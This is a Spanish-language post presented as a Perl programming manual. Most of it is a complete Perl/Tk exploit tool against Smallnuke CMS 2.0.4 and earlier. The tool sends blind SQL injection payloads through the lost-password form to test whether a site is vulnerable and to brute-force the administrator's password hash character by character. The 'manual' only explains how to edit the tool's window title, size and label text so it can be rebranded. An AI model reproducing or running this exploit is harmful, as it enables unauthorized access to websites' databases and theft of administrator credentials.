Manual De Programacion En Perl
Bueno antes de empezar el manual
Trata sobre como configurar a tu gusto un Programa en perl.
Bueno empezemos..
Bueno aquy dejo un codijo que editado al 80% del programa o asta mas bueno yo empiezo...
Bueno Para poder bien las diferencias dejo el code.
#!/usr/bin/perl
use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;
$mw = new MainWindow(title => "Smallnuke cms 2.0.4 By Aima" );
$mw->geometry ( '420x380' ) ;
$mw->resizable(0,0);
$mw->Label(-text => '', -font => '{Verdana} 8',-foreground=>'red')->pack();
$mw->Label(-text => 'Smallnuke cms <= 2.0.4 Pass Recovery Sql Injection', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => 'it will take about half an hour to get hashed password', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => 'you need magic_quotes_gpc turned off and mysql version higher that 4.1 ', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => 'Creative GoogleHack.es creador de este programa aima', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '¡Atencion este programa es de codijo libre no lo vendais!', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$fleft = $mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
$fright = $mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;
$url = 'http://laweb2.es/smallnuke/';
$user_id = 'Administrador';
$prefix = 'sn_';
$table = 'users';
$email = 'aima@gmail.com';
$column = 'user_password';
$report = '';
$group = 1;
$curr_user = 0;
$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'Your email: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$email) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fright->Label( -text => ' ')->pack();
$fright->Button(-text => 'Test site vulnerability',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&test_vuln
)->pack();
$fright->Button(-text => 'Get hash from database',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_hash
)->pack();
$mw ->Label(-text => '', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => '!', -font => '{Webdings} 22')->pack();
$fleft->Label(-text => 'Programa Creado Para Cascanolahack.net', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => 'pass recovery sql injection por aima ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => 'mysql char bruteforcing ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => 'bug in insert function ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => 'by aima y googlehack.es ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => 'No modifiquen el codijo ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => '2008.02.08 ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fright->Label(-text => '', -font => '{Verdana} 3 bold',-foreground=>'red')->pack();
$print=$fright->Text(-width=>35,-height=>7,-wrap=>"word")->pack(-side=>"top",-anchor=>"s");
MainLoop();
sub get_hash()
{
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title => 'get hash from database', -buttons => ["OK"]);
$i = 1;
$b = 0;
$report = '';
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
$print->insert('end',"- Start [$hour:$min:$sec]\n");
my @brutearray=qw(48 49 50 51 52 53 54 55 56 57 58 97 98 99 100 101 102);
while (length($report)<32)
{
$num = $brutearray[$b];
$ret = get_pchar($i);
if($ret > 0)
{
$print->insert('end',"- char [$i] = ".chr($num)."\n");
$report .= chr($num);
$b = 0;
$i = $i +1;
$mw->update();
break;
}
else
{
$b = $b +1;
}
}
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
$print->insert('end',"- Finish [$hour:$min:$sec]");
}
sub get_pchar($i)
{
$res = $xpl->post($url."index.php?go=Members",['in'=>'lost_pass','enter'=>'1','user_email'=>"$email' or ascii(substring((select password from ".$prefix."admins where admin_id=$user_id),$i,1))=$num/*"]);
if($res->as_string =~ /info=1/i ) { return 1;} else {return 0;}
}
sub test_vuln()
{
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->post($url."index.php?go=Members",['in'=>'lost_pass','enter'=>'1','username'=>"gema' and ascii(1)=49/*"]);
if($res->{_rc}==302)
{
$rep = '';
if($res->as_string =~ /info=1/i ) { $print->insert('end',"- FORUM VULNERABLE\n"); }
else { $print->insert('end',"- FORUM UNVULNERABLE\n");}
}
}
# Aima y GoogleHack.es [2008-01-08]
Bueno este era el codigo ahora vamos a explicar mas o menos esta mierda
1º Como vemos en este codigo podemos ver y editar el titulo del programa:
use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;
$mw = new MainWindow(title => "Smallnuke cms 2.0.4 By Aima" );
Como vemos en :
$mw = new MainWindow(title => "Smallnuke cms 2.0.4 By Aima" );
Bueno para poder explicar donde pone title =>''Aquy ponemos nuestro titutlo '');
Bueno explico ahora
Como vemos al lo ultimo ponemos nuestro titulo entre las '''y''y siempre alo ultimo);Pongalo por que si no No podras compilar ya que es una variante.
Bueno sigo...
En esta zona Un poco mas larga pero facil
$mw->geometry ( '420x380' ) ;
$mw->resizable(0,0);
Esto seria el tamaño como vemos en la variante $mw->geometry ('420x380');
El tamaño ess 420x380 Este tamaño se puede editar al tamaño que te guste
Bueno ahora vamos a por las letras..
$mw->Label(-text => '', -font => '{Verdana} 8',-foreground=>'red')->pack();
$mw->Label(-text => 'Smallnuke cms <= 2.0.4 Pass Recovery Sql Injection', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => 'it will take about half an hour to get hashed password', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => 'you need magic_quotes_gpc turned off and mysql version higher that 4.1 ', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => 'Creative GoogleHack.es creador de este programa aima', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '¡Atencion este programa es de codijo libre no lo vendais!', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
Bueno Para Poder editar nos saldra
$mw->Label(-text => 'Aquy lo que quieras poner', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
Bueno en las variantes$mw->label(-text=>'aquy pondremos lo que queramos', -font ={aquy el tipo de letra}-aquy el numero del tamaño.
Bueno ya explique bastante .
Apartir de aqui podeis estudiar mas sobre el lenguaje perl
Manual Creado por A.I.M.A.
Autor